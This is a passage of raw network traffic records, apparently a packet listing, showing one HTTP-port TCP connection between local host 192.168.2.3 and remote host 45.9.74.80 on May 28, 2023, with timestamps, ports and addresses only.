May 28, 2023 10:42:56.412575006 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.412620068 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.412646055 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.412646055 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.412666082 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.412712097 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.412730932 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.412730932 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.412756920 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.412803888 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.412852049 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.412897110 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.412942886 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.412983894 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.412983894 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.412985086 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.412988901 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.413036108 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.413080931 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.413125992 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.413172007 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.413218021 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.413263083 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.413309097 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.413309097 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.413309097 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.413309097 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.413358927 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.413372040 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.413405895 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.413453102 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.413500071 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.413544893 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.413592100 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.413593054 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.413593054 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.413638115 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.413683891 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.413722992 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.413729906 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.413775921 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.413820982 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.413865089 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.413908958 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.413954020 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.413954973 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.413954020 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.413954020 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.414001942 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.414006948 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.414047956 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.414093971 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.414139986 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.414185047 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.414231062 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.414277077 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.414321899 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.414323092 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.414323092 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.414323092 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.414367914 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.414417982 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.414464951 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.414513111 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.414556980 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.414560080 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.414560080 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.414560080 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.414603949 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.414649010 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.414695024 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.414738894 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.414786100 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.414805889 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.414805889 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.414833069 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.414879084 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.414901018 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.414901018 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.414901018 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.414925098 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.414971113 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.415015936 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.415062904 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.415107965 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.415154934 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.415194035 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.415194035 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.415194035 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.415201902 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.415246964 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.415292978 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.415338993 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.415385008 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.415433884 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.415479898 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.415525913 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.415525913 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.415525913 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.415525913 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.415575027 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.415591955 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.415621042 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.415668011 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.415714025 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.415759087 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.415805101 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.415851116 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.415852070 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.415852070 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.415896893 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.415945053 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.416034937 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.416225910 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.416225910 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.416488886 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.416488886 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.418204069 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.441142082 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.441217899 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.441265106 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.441312075 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.441358089 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.441360950 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.441360950 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.441402912 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.441457033 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.441504002 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.441550016 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.441574097 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.441574097 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.441596031 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.441638947 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.441687107 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.441731930 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.441734076 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.441734076 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.441776991 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.441824913 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.441862106 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.441871881 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.441919088 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.441966057 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.442013025 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.442056894 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.442058086 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.442059040 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.442105055 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.442115068 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.442152977 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.442200899 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.442248106 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.442291975 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.442292929 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.442291975 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.442339897 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.442387104 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.442437887 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.442485094 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.442532063 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.442533970 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.442533970 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.442579031 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.442603111 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.442626953 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.442672968 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.442720890 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.442749977 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.442750931 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.442768097 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.442814112 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.442861080 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.442908049 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.442955017 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.443001032 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.443002939 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.443001032 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.443048954 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.443074942 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.443094969 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.443140984 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.443186998 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.443233967 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.443233967 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.443233967 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.443279982 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.443327904 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.443382025 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.443388939 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.443433046 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.443480015 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.443526983 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.443530083 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.443530083 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.443572044 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.443619013 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.443665981 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.443712950 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.443759918 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.443769932 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.443769932 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.443805933 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.443852901 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.443898916 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.443943977 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.443990946 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.443994045 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.443994045 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.443994045 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.444036007 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.444082975 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.444149017 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.444194078 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.444242001 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.444251060 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.444252014 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.444320917 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.444339037 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.444369078 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.444415092 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.444422960 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.444469929 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.444515944 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.444541931 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.444561958 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.444608927 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.444654942 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.444684029 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.444701910 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.444730997 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.444749117 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.444793940 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.444839954 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.444884062 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.444894075 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.444894075 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.444927931 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.444974899 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.445019007 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.445030928 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.445065022 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.445081949 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.445112944 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.445158958 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.445205927 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.445238113 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.445238113 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.445254087 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.445300102 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.445348024 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.445365906 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.445391893 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.445441961 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.445488930 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.445508957 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.445534945 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.445573092 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.445581913 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.445627928 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.445673943 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.445719957 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.445738077 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.445738077 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.445765018 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.445812941 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.445858955 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.445904016 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.445950031 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.445952892 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.445952892 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.445996046 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.446041107 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.446089029 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.446104050 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.446104050 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.446135044 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.446180105 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.446228027 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.446294069 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.449701071 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.471278906 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.471347094 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.471395016 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.471446037 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.471494913 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.471540928 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.471541882 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.471543074 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.471589088 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.471611023 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.471635103 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.471682072 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.471729040 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.471774101 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.471818924 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.471838951 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.471838951 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.471865892 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.471911907 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.471926928 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.471960068 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.472004890 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.472050905 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.472096920 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.472142935 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.472143888 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.472145081 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.472145081 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.472187996 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.472234011 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.472306967 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.472354889 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.472402096 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.472451925 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.472497940 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.472543955 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.472589016 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.472634077 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.472680092 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.472726107 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.472771883 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.472816944 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.472862005 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.472908020 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.472929955 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.472954035 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.472982883 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.472999096 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.473011971 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.473045111 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.473092079 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.473138094 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.473181963 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.473227978 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.473273993 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.473319054 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.473320007 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.473320007 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.473320007 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.473367929 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.473390102 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.473417997 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.473464966 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.473510981 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.473556042 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.473601103 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.473648071 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.473696947 CEST	80	49727	45.9.74.80	192.168.2.3
